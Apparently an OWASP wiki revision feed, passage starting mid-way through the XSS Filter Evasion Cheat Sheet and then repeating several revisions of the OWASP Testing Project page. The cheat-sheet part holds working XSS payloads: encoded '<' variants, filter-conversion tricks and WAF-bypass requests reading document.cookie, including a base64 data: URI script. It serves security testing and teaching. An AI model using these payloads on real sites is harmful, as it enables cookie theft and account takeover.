Assuming &amp;quot;http:&amp;amp;#47;&amp;amp;#47;www.google.com/&amp;quot; is programmatically replaced with nothing). I actually used a similar attack vector against a several separate real world XSS filters by using the conversion filter itself (here is an example) to help create the attack vector (IE: &amp;quot;java&amp;amp;#x26;#x09;script:&amp;quot; was converted into &amp;quot;java&amp;amp;#x09;script:&amp;quot;, which renders in IE, Netscape 8.1+ in secure site mode and Opera):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http://www.google.com/ogle.com/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Character escape sequences ==&lt;br /&gt;
All the possible combinations of the character &amp;quot;&amp;lt;&amp;quot; in HTML and JavaScript. Most of these won't render out of the box, but many of them can get rendered in certain circumstances as seen above.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;&lt;br /&gt;
 %3C&lt;br /&gt;
 &amp;amp;amp;lt&lt;br /&gt;
 &amp;amp;amp;lt;&lt;br /&gt;
 &amp;amp;amp;LT&lt;br /&gt;
 &amp;amp;amp;LT;&lt;br /&gt;
 &amp;amp;amp;#60&lt;br /&gt;
 &amp;amp;amp;#060&lt;br /&gt;
 &amp;amp;amp;#0060&lt;br /&gt;
 &amp;amp;amp;#00060&lt;br /&gt;
 &amp;amp;amp;#000060&lt;br /&gt;
 &amp;amp;amp;#0000060&lt;br /&gt;
 &amp;amp;amp;#60;&lt;br /&gt;
 &amp;amp;amp;#060;&lt;br /&gt;
 &amp;amp;amp;#0060;&lt;br /&gt;
 &amp;amp;amp;#00060;&lt;br /&gt;
 &amp;amp;amp;#000060;&lt;br /&gt;
 &amp;amp;amp;#0000060;&lt;br /&gt;
 &amp;amp;amp;#x3c&lt;br /&gt;
 &amp;amp;amp;#x03c&lt;br /&gt;
 &amp;amp;amp;#x003c&lt;br /&gt;
 &amp;amp;amp;#x0003c&lt;br /&gt;
 &amp;amp;amp;#x00003c&lt;br /&gt;
 &amp;amp;amp;#x000003c&lt;br /&gt;
 &amp;amp;amp;#x3c;&lt;br /&gt;
 &amp;amp;amp;#x03c;&lt;br /&gt;
 &amp;amp;amp;#x003c;&lt;br /&gt;
 &amp;amp;amp;#x0003c;&lt;br /&gt;
 &amp;amp;amp;#x00003c;&lt;br /&gt;
 &amp;amp;amp;#x000003c;&lt;br /&gt;
 &amp;amp;amp;#X3c&lt;br /&gt;
 &amp;amp;amp;#X03c&lt;br /&gt;
 &amp;amp;amp;#X003c&lt;br /&gt;
 &amp;amp;amp;#X0003c&lt;br /&gt;
 &amp;amp;amp;#X00003c&lt;br /&gt;
 &amp;amp;amp;#X000003c&lt;br /&gt;
 &amp;amp;amp;#X3c;&lt;br /&gt;
 &amp;amp;amp;#X03c;&lt;br /&gt;
 &amp;amp;amp;#X003c;&lt;br /&gt;
 &amp;amp;amp;#X0003c;&lt;br /&gt;
 &amp;amp;amp;#X00003c;&lt;br /&gt;
 &amp;amp;amp;#X000003c;&lt;br /&gt;
 &amp;amp;amp;#x3C&lt;br /&gt;
 &amp;amp;amp;#x03C&lt;br /&gt;
 &amp;amp;amp;#x003C&lt;br /&gt;
 &amp;amp;amp;#x0003C&lt;br /&gt;
 &amp;amp;amp;#x00003C&lt;br /&gt;
 &amp;amp;amp;#x000003C&lt;br /&gt;
 &amp;amp;amp;#x3C;&lt;br /&gt;
 &amp;amp;amp;#x03C;&lt;br /&gt;
 &amp;amp;amp;#x003C;&lt;br /&gt;
 &amp;amp;amp;#x0003C;&lt;br /&gt;
 &amp;amp;amp;#x00003C;&lt;br /&gt;
 &amp;amp;amp;#x000003C;&lt;br /&gt;
 &amp;amp;amp;#X3C&lt;br /&gt;
 &amp;amp;amp;#X03C&lt;br /&gt;
 &amp;amp;amp;#X003C&lt;br /&gt;
 &amp;amp;amp;#X0003C&lt;br /&gt;
 &amp;amp;amp;#X00003C&lt;br /&gt;
 &amp;amp;amp;#X000003C&lt;br /&gt;
 &amp;amp;amp;#X3C;&lt;br /&gt;
 &amp;amp;amp;#X03C;&lt;br /&gt;
 &amp;amp;amp;#X003C;&lt;br /&gt;
 &amp;amp;amp;#X0003C;&lt;br /&gt;
 &amp;amp;amp;#X00003C;&lt;br /&gt;
 &amp;amp;amp;#X000003C;&lt;br /&gt;
 \x3c&lt;br /&gt;
 \x3C&lt;br /&gt;
 \u003c&lt;br /&gt;
 \u003C&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
= Methods to Bypass WAF – Cross-Site Scripting =&lt;br /&gt;
&lt;br /&gt;
General issues&amp;lt;br&amp;gt;&lt;br /&gt;
• Stored XSS&lt;br /&gt;
&lt;br /&gt;
If an attacker managed to push XSS through the filter, WAF wouldn’t be able to prevent the attack conduction.&amp;lt;br&amp;gt;&lt;br /&gt;
• Reflected XSS in Javascript&lt;br /&gt;
  Example: &amp;lt;script&amp;gt; ... setTimeout(\&amp;quot;writetitle()\&amp;quot;,$_GET[xss]) ... &amp;lt;/script&amp;gt;&lt;br /&gt;
  Exploitation: /?xss=500); alert(document.cookie);//&lt;br /&gt;
• DOM-based XSS&lt;br /&gt;
  Example: &amp;lt;script&amp;gt; ... eval($_GET[xss]); ... &amp;lt;/script&amp;gt;&lt;br /&gt;
  Exploitation: /?xss=document.cookie&lt;br /&gt;
&amp;lt;b&amp;gt;XSS via request Redirection.&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
• Vulnerable code:&lt;br /&gt;
  ...&lt;br /&gt;
  header('Location: '.$_GET['param']);&lt;br /&gt;
  ...&lt;br /&gt;
As well as:&lt;br /&gt;
  ...&lt;br /&gt;
  header('Refresh: 0; URL='.$_GET['param']);&lt;br /&gt;
  ...&lt;br /&gt;
• This request will not pass through the WAF:&lt;br /&gt;
  /?param=javascript:alert(document.cookie)&lt;br /&gt;
• This request will pass through the WAF and an XSS attack will be conducted in certain browsers.&lt;br /&gt;
  /?param=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=&lt;br /&gt;
&lt;br /&gt;
= Character Encoding and IP Obfuscation Calculators =&lt;br /&gt;
&lt;br /&gt;
This following links include calculators for doing basic transformation functions that are useful for XSS.&lt;br /&gt;
&lt;br /&gt;
[http://ha.ckers.org/xsscalc.html http://ha.ckers.org/xsscalc.html]&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Robert &amp;quot;RSnake&amp;quot; Hansen&lt;br /&gt;
&lt;br /&gt;
= Contributors =&lt;br /&gt;
&lt;br /&gt;
Adam Lange&amp;lt;br/&amp;gt;&lt;br /&gt;
Mishra Dhiraj&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
[[Category:Cheatsheets]]&lt;br /&gt;
[[Category:Popular]]&lt;br /&gt;
[[Category:OWASP_Breakers]]&lt;br /&gt;
{{TOC hidden}}&lt;/div&gt;</summary>
		<author><name>Bill Sempf</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Testing_Project&amp;diff=211971</id>
		<title>OWASP Testing Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Testing_Project&amp;diff=211971"/>
				<updated>2016-03-28T20:32:29Z</updated>
		
		<summary type="html">&lt;p&gt;Bill Sempf: /* Classifications */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{OWASP Breakers}}&lt;br /&gt;
{{OWASP Book|5691953}}&lt;br /&gt;
{{Social Media Links}}&lt;br /&gt;
= New OWASP Testing Guide  =&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:90px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File: flagship_big.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size:120%;border:none;margin: 0;color:#000&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== OWASP Testing Guide v4  ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ANNOUNCING THE NEW &amp;quot;OWASP TESTING GUIDE v4&lt;br /&gt;
&lt;br /&gt;
17th September, 2014: OWASP is announcing the new OWASP Testing Guide v4.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A big thank you to all the contributors and reviewers!&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3rd August 2015, the OWASP Testing Guide v4 book now available!&lt;br /&gt;
&amp;lt;br&amp;gt;You can buy the Guide [http://www.lulu.com/shop/matteo-meucci-and-andrew-muller/testing-guide-40-release/paperback/product-22294314.html here] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;Or you can download the Guide [https://www.owasp.org/images/5/52/OWASP_Testing_Guide_v4.pdf here]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:OWTGv4 Cover.png]]&lt;br /&gt;
&lt;br /&gt;
Or browse the guide on the wiki [https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents here]&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;&amp;quot; |&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; rowspan=&amp;quot;2&amp;quot; width=&amp;quot;50%&amp;quot; | [[File:Owasp-flagship-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Flagship_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;center&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;center&amp;quot; width=&amp;quot;50%&amp;quot;| &lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Old OWASP Testing Guides =&lt;br /&gt;
&lt;br /&gt;
== OWASP Testing Guide v3  ==&lt;br /&gt;
&lt;br /&gt;
16th December 2008: OWASP Testing Guide v3 is finished!&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
*You can download the Guide in PDF [http://www.owasp.org/images/5/56/OWASP_Testing_Guide_v3.pdf here] &lt;br /&gt;
*Download the presentation [https://www.owasp.org/images/2/2c/OWASP_EU_Summit_2008_OWASP_Testing_Guide_v3.ppt here] &lt;br /&gt;
*Browse the Testing Guide v3 on the wiki [https://www.owasp.org/index.php/OWASP_Testing_Guide_v3_Table_of_Contents here]&lt;br /&gt;
&lt;br /&gt;
''''NEW: OWASP projects and resources you can use TODAY''''&amp;lt;br&amp;gt;&lt;br /&gt;
16th April 2010 in London, OWASP leaders deliver a course focused on the main OWASP Projects.&amp;lt;br&amp;gt;&lt;br /&gt;
Matteo Meucci will deliver a training course on the OWASP Testing Guide v3. &amp;lt;br&amp;gt;&lt;br /&gt;
More information [http://www.owasp.org/index.php/London/Training/OWASP_projects_and_resources_you_can_use_TODAY here]&lt;br /&gt;
&lt;br /&gt;
Video @ FOSDEM 09: [http://fosdem.unixheads.org/2009/maintracks/owasp.ogv here] &lt;br /&gt;
&lt;br /&gt;
Citations:&lt;br /&gt;
&lt;br /&gt;
http://www.owasp.org/index.php/Testing_Guide_Quotes&lt;br /&gt;
&lt;br /&gt;
== Overview  ==&lt;br /&gt;
&lt;br /&gt;
This project's goal is to create a &amp;quot;best practices&amp;quot; web application penetration testing framework which users can implement in their own organizations and a &amp;quot;low level&amp;quot; web application penetration testing guide that describes how to find certain issues. &lt;br /&gt;
&lt;br /&gt;
Version 3 of the Testing Guide was released in December 2008 after going through a major upgrade through the [[OWASP Summer of Code 2008]]. &lt;br /&gt;
&lt;br /&gt;
= Background and Motivation  =&lt;br /&gt;
&lt;br /&gt;
'''History Behind Project''' The OWASP Testing guide originated in 2003 with Dan Cuthbert as one of the original editors. It was handed over to [[User:EoinKeary|Eoin Keary]] in 2005 and moved onto the new OWASP wiki when it came online. Being in a wiki is easier for people to contribute and has made updating much easier. [[User:Mmeucci|Matteo Meucci]] took on the Testing guide after Eoin and shepherded it through the version 2 and version 3 updates, which have been significant improvements. &lt;br /&gt;
&lt;br /&gt;
= Project History  =&lt;br /&gt;
&lt;br /&gt;
== OWASP Testing Guide v3  ==&lt;br /&gt;
&lt;br /&gt;
Testing Guide v3: plan (archive) &lt;br /&gt;
&lt;br /&gt;
26th April 2008: Version 3 of the Testing Guide started under [[OWASP Summer of Code 2008]]. &lt;br /&gt;
&lt;br /&gt;
6th November 2008: Completed draft created and previewed at [[OWASP EU Summit 2008|OWASP EU Summit 2008 in Portugal]]. &lt;br /&gt;
&lt;br /&gt;
Final stable release in December 2008 &lt;br /&gt;
&lt;br /&gt;
== OWASP Testing Guide v2  ==&lt;br /&gt;
&lt;br /&gt;
'''10th February 2007: The OWASP Testing Guide v2 is now published''' [[User:Mmeucci|Matteo Meucci]] (as part of his [[OWASP Autumn of Code 2006 - Projects: Testing Guide|AoC project]]) has just published the latest version of Testing guide which: &lt;br /&gt;
&lt;br /&gt;
*you can read it on line on the [http://www.owasp.org/index.php/OWASP_Testing_Guide_v2_Table_of_Contents Testing Guide v2 wiki] &lt;br /&gt;
*or download the Guide in [http://www.owasp.org/index.php/Image:OWASP_Testing_Guide_v2_pdf.zip Adobe PDF format] or in [http://www.owasp.org/index.php/Image:OWASP_Testing_Guide_v2_doc.zip Ms Doc format]&lt;br /&gt;
&lt;br /&gt;
'''OWASP Testing Guide v2 in Spanish:''' Now you can get a complete translation in [http://www.owasp.org/index.php/Image:OWASP_Testing_Guide_v2_spanish_doc.zip Ms Doc format] &lt;br /&gt;
&lt;br /&gt;
For comments or questions, please join the [http://lists.owasp.org/mailman/listinfo/owasp-testing OWASP Testing mailing list], read our archive and share your ideas. Alternatively you can contact [[User:EoinKeary|Eoin Keary]] or [[User:Mmeucci|Matteo Meucci]] directly. &lt;br /&gt;
&lt;br /&gt;
Here you can find: &lt;br /&gt;
&lt;br /&gt;
*[http://www.owasp.org/index.php/Testing_Guide_Quotes The OWASP Testing Guide 'Quotes'] &lt;br /&gt;
*[http://www.owasp.org/index.php/OWASP_Testing_Guide_Presentations Testing Guide presentations]&lt;br /&gt;
&lt;br /&gt;
= Related  =&lt;br /&gt;
&lt;br /&gt;
'''OWASP Testing Guide (v2+v3) Report Generator''' is found at [http://yehg.net/lab/#wasarg http://yehg.net/lab/#wasarg]. &lt;br /&gt;
&lt;br /&gt;
'''THE OWASP Testing Project Live CD''' The OWASP testing project is currently implementing an Application security Live CD. &amp;lt;br&amp;gt; LabRat Version 0.8 Alpha is just weeks away from Beta testing*. &lt;br /&gt;
&lt;br /&gt;
The aim of this CD is to have a complete testing suite on one Disk. The CD shall also contain the forthcoming OWASP Testing guide. &lt;br /&gt;
&lt;br /&gt;
The Live CD now has its own section you can find it here: [http://www.owasp.org/index.php/Category:OWASP_Live_CD_Project] &lt;br /&gt;
&lt;br /&gt;
= Feedback and Participation  =&lt;br /&gt;
&lt;br /&gt;
We hope you find the information in the OWASP Testing project useful. Please contribute back to the project by sending your comments, questions, and suggestions to the OWASP Testing mailing list. Thanks! &lt;br /&gt;
&lt;br /&gt;
To join the OWASP Testing mailing list or view the archives, please visit the [http://lists.owasp.org/mailman/listinfo/owasp-testing subscription page]. &lt;br /&gt;
&lt;br /&gt;
= Translations =&lt;br /&gt;
&lt;br /&gt;
Thanks to the translators all around the world you can download the guide in the following languages:&lt;br /&gt;
&lt;br /&gt;
* Spanish in [http://www.owasp.org/images/8/80/Gu%C3%ADa_de_pruebas_de_OWASP_ver_3.0.pdf PDF] or [http://www.owasp.org/images/d/d7/Gu%C3%ADa_de_pruebas_de_OWASP_ver_3.0.zip MS Word] formats. (v3.0)&lt;br /&gt;
&lt;br /&gt;
* Chinese in [http://www.owasp.org/images/0/06/OWASP%E6%B5%8B%E8%AF%95%E6%8C%87%E5%8D%97%28%E4%B8%AD%E6%96%87%EF%BC%89.pdf PDF] format. (Thanks to the [http://www.owasp.org/index.php/China-Mainland China-mainland chapter]. (v3.0;  translation of v4.0 in process)&lt;br /&gt;
&lt;br /&gt;
* Japanese in [http://www.owasp.org/images/1/1e/OTGv3Japanese.pdf PDF] format here (this is a 1st draft of v3.0, final release coming soon).&lt;br /&gt;
&lt;br /&gt;
We invite you to explore and help us translate OWASP Testing Guide 4.0 at Crowdin. Please visit URL below to start translating this project:&lt;br /&gt;
&lt;br /&gt;
https://crowdin.com/project/owasp-testing-guide-40/invite&lt;br /&gt;
&lt;br /&gt;
= Project About =&lt;br /&gt;
{{:Projects/OWASP Testing Project | Project About}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &lt;br /&gt;
&amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Project|Testing Guide]] [[Category:OWASP_Document]] [[Category:OWASP_Download]] [[Category:OWASP_Release_Quality_Document|OWASP Stable Quality Document]] [[Category:SAMM-ST-1]]&lt;/div&gt;</summary>
		<author><name>Bill Sempf</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Testing_Project&amp;diff=211970</id>
		<title>OWASP Testing Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Testing_Project&amp;diff=211970"/>
				<updated>2016-03-28T20:31:32Z</updated>
		
		<summary type="html">&lt;p&gt;Bill Sempf: /* Classifications */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{OWASP Breakers}}&lt;br /&gt;
{{OWASP Book|5691953}}&lt;br /&gt;
{{Social Media Links}}&lt;br /&gt;
= New OWASP Testing Guide  =&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:90px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File: flagship_big.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size:120%;border:none;margin: 0;color:#000&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== OWASP Testing Guide v4  ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ANNOUNCING THE NEW &amp;quot;OWASP TESTING GUIDE v4&lt;br /&gt;
&lt;br /&gt;
17th September, 2014: OWASP is announcing the new OWASP Testing Guide v4.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A big thank you to all the contributors and reviewers!&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3rd August 2015, the OWASP Testing Guide v4 book now available!&lt;br /&gt;
&amp;lt;br&amp;gt;You can buy the Guide [http://www.lulu.com/shop/matteo-meucci-and-andrew-muller/testing-guide-40-release/paperback/product-22294314.html here] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;Or you can download the Guide [https://www.owasp.org/images/5/52/OWASP_Testing_Guide_v4.pdf here]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:OWTGv4 Cover.png]]&lt;br /&gt;
&lt;br /&gt;
Or browse the guide on the wiki [https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents here]&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;&amp;quot; |&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; rowspan=&amp;quot;2&amp;quot; width=&amp;quot;50%&amp;quot; | [[File:Owasp-flagship-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Flagship_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;center&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Old OWASP Testing Guides =&lt;br /&gt;
&lt;br /&gt;
== OWASP Testing Guide v3  ==&lt;br /&gt;
&lt;br /&gt;
16th December 2008: OWASP Testing Guide v3 is finished!&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
*You can download the Guide in PDF [http://www.owasp.org/images/5/56/OWASP_Testing_Guide_v3.pdf here] &lt;br /&gt;
*Download the presentation [https://www.owasp.org/images/2/2c/OWASP_EU_Summit_2008_OWASP_Testing_Guide_v3.ppt here] &lt;br /&gt;
*Browse the Testing Guide v3 on the wiki [https://www.owasp.org/index.php/OWASP_Testing_Guide_v3_Table_of_Contents here]&lt;br /&gt;
&lt;br /&gt;
''''NEW: OWASP projects and resources you can use TODAY''''&amp;lt;br&amp;gt;&lt;br /&gt;
16th April 2010 in London, OWASP leaders deliver a course focused on the main OWASP Projects.&amp;lt;br&amp;gt;&lt;br /&gt;
Matteo Meucci will deliver a training course on the OWASP Testing Guide v3. &amp;lt;br&amp;gt;&lt;br /&gt;
More information [http://www.owasp.org/index.php/London/Training/OWASP_projects_and_resources_you_can_use_TODAY here]&lt;br /&gt;
&lt;br /&gt;
Video @ FOSDEM 09: [http://fosdem.unixheads.org/2009/maintracks/owasp.ogv here] &lt;br /&gt;
&lt;br /&gt;
Citations:&lt;br /&gt;
&lt;br /&gt;
http://www.owasp.org/index.php/Testing_Guide_Quotes&lt;br /&gt;
&lt;br /&gt;
== Overview  ==&lt;br /&gt;
&lt;br /&gt;
This project's goal is to create a &amp;quot;best practices&amp;quot; web application penetration testing framework which users can implement in their own organizations and a &amp;quot;low level&amp;quot; web application penetration testing guide that describes how to find certain issues. &lt;br /&gt;
&lt;br /&gt;
Version 3 of the Testing Guide was released in December 2008 after going through a major upgrade through the [[OWASP Summer of Code 2008]]. &lt;br /&gt;
&lt;br /&gt;
= Background and Motivation  =&lt;br /&gt;
&lt;br /&gt;
'''History Behind Project''' The OWASP Testing guide originated in 2003 with Dan Cuthbert as one of the original editors. It was handed over to [[User:EoinKeary|Eoin Keary]] in 2005 and moved onto the new OWASP wiki when it came online. Being in a wiki is easier for people to contribute and has made updating much easier. [[User:Mmeucci|Matteo Meucci]] took on the Testing guide after Eoin and shepherded it through the version 2 and version 3 updates, which have been significant improvements. &lt;br /&gt;
&lt;br /&gt;
= Project History  =&lt;br /&gt;
&lt;br /&gt;
== OWASP Testing Guide v3  ==&lt;br /&gt;
&lt;br /&gt;
Testing Guide v3: plan (archive) &lt;br /&gt;
&lt;br /&gt;
26th April 2008: Version 3 of the Testing Guide started under [[OWASP Summer of Code 2008]]. &lt;br /&gt;
&lt;br /&gt;
6th November 2008: Completed draft created and previewed at [[OWASP EU Summit 2008|OWASP EU Summit 2008 in Portugal]]. &lt;br /&gt;
&lt;br /&gt;
Final stable release in December 2008 &lt;br /&gt;
&lt;br /&gt;
== OWASP Testing Guide v2  ==&lt;br /&gt;
&lt;br /&gt;
'''10th February 2007: The OWASP Testing Guide v2 is now published''' [[User:Mmeucci|Matteo Meucci]] (as part of his [[OWASP Autumn of Code 2006 - Projects: Testing Guide|AoC project]]) has just published the latest version of Testing guide which: &lt;br /&gt;
&lt;br /&gt;
*you can read it on line on the [http://www.owasp.org/index.php/OWASP_Testing_Guide_v2_Table_of_Contents Testing Guide v2 wiki] &lt;br /&gt;
*or download the Guide in [http://www.owasp.org/index.php/Image:OWASP_Testing_Guide_v2_pdf.zip Adobe PDF format] or in [http://www.owasp.org/index.php/Image:OWASP_Testing_Guide_v2_doc.zip Ms Doc format]&lt;br /&gt;
&lt;br /&gt;
'''OWASP Testing Guide v2 in Spanish:''' Now you can get a complete translation in [http://www.owasp.org/index.php/Image:OWASP_Testing_Guide_v2_spanish_doc.zip Ms Doc format] &lt;br /&gt;
&lt;br /&gt;
For comments or questions, please join the [http://lists.owasp.org/mailman/listinfo/owasp-testing OWASP Testing mailing list], read our archive and share your ideas. Alternatively you can contact [[User:EoinKeary|Eoin Keary]] or [[User:Mmeucci|Matteo Meucci]] directly. &lt;br /&gt;
&lt;br /&gt;
Here you can find: &lt;br /&gt;
&lt;br /&gt;
*[http://www.owasp.org/index.php/Testing_Guide_Quotes The OWASP Testing Guide 'Quotes'] &lt;br /&gt;
*[http://www.owasp.org/index.php/OWASP_Testing_Guide_Presentations Testing Guide presentations]&lt;br /&gt;
&lt;br /&gt;
= Related  =&lt;br /&gt;
&lt;br /&gt;
'''OWASP Testing Guide (v2+v3) Report Generator''' is found at [http://yehg.net/lab/#wasarg http://yehg.net/lab/#wasarg]. &lt;br /&gt;
&lt;br /&gt;
'''THE OWASP Testing Project Live CD''' The OWASP testing project is currently implementing an Application security Live CD. &amp;lt;br&amp;gt; LabRat Version 0.8 Alpha is just weeks away from Beta testing*. &lt;br /&gt;
&lt;br /&gt;
The aim of this CD is to have a complete testing suite on one Disk. The CD shall also contain the forthcoming OWASP Testing guide. &lt;br /&gt;
&lt;br /&gt;
The Live CD now has its own section you can find it here: [http://www.owasp.org/index.php/Category:OWASP_Live_CD_Project] &lt;br /&gt;
&lt;br /&gt;
= Feedback and Participation  =&lt;br /&gt;
&lt;br /&gt;
We hope you find the information in the OWASP Testing project useful. Please contribute back to the project by sending your comments, questions, and suggestions to the OWASP Testing mailing list. Thanks! &lt;br /&gt;
&lt;br /&gt;
To join the OWASP Testing mailing list or view the archives, please visit the [http://lists.owasp.org/mailman/listinfo/owasp-testing subscription page]. &lt;br /&gt;
&lt;br /&gt;
= Translations =&lt;br /&gt;
&lt;br /&gt;
Thanks to the translators all around the world you can download the guide in the following languages:&lt;br /&gt;
&lt;br /&gt;
* Spanish in [http://www.owasp.org/images/8/80/Gu%C3%ADa_de_pruebas_de_OWASP_ver_3.0.pdf PDF] or [http://www.owasp.org/images/d/d7/Gu%C3%ADa_de_pruebas_de_OWASP_ver_3.0.zip MS Word] formats. (v3.0)&lt;br /&gt;
&lt;br /&gt;
* Chinese in [http://www.owasp.org/images/0/06/OWASP%E6%B5%8B%E8%AF%95%E6%8C%87%E5%8D%97%28%E4%B8%AD%E6%96%87%EF%BC%89.pdf PDF] format. (Thanks to the [http://www.owasp.org/index.php/China-Mainland China-mainland chapter]. (v3.0;  translation of v4.0 in process)&lt;br /&gt;
&lt;br /&gt;
* Japanese in [http://www.owasp.org/images/1/1e/OTGv3Japanese.pdf PDF] format here (this is a 1st draft of v3.0, final release coming soon).&lt;br /&gt;
&lt;br /&gt;
We invite you to explore and help us translate OWASP Testing Guide 4.0 at Crowdin. Please visit URL below to start translating this project:&lt;br /&gt;
&lt;br /&gt;
https://crowdin.com/project/owasp-testing-guide-40/invite&lt;br /&gt;
&lt;br /&gt;
= Project About =&lt;br /&gt;
{{:Projects/OWASP Testing Project | Project About}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &lt;br /&gt;
&amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Project|Testing Guide]] [[Category:OWASP_Document]] [[Category:OWASP_Download]] [[Category:OWASP_Release_Quality_Document|OWASP Stable Quality Document]] [[Category:SAMM-ST-1]]&lt;/div&gt;</summary>
		<author><name>Bill Sempf</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Testing_Project&amp;diff=211969</id>
		<title>OWASP Testing Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Testing_Project&amp;diff=211969"/>
				<updated>2016-03-28T20:31:10Z</updated>
		
		<summary type="html">&lt;p&gt;Bill Sempf: /* Classifications */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{OWASP Breakers}}&lt;br /&gt;
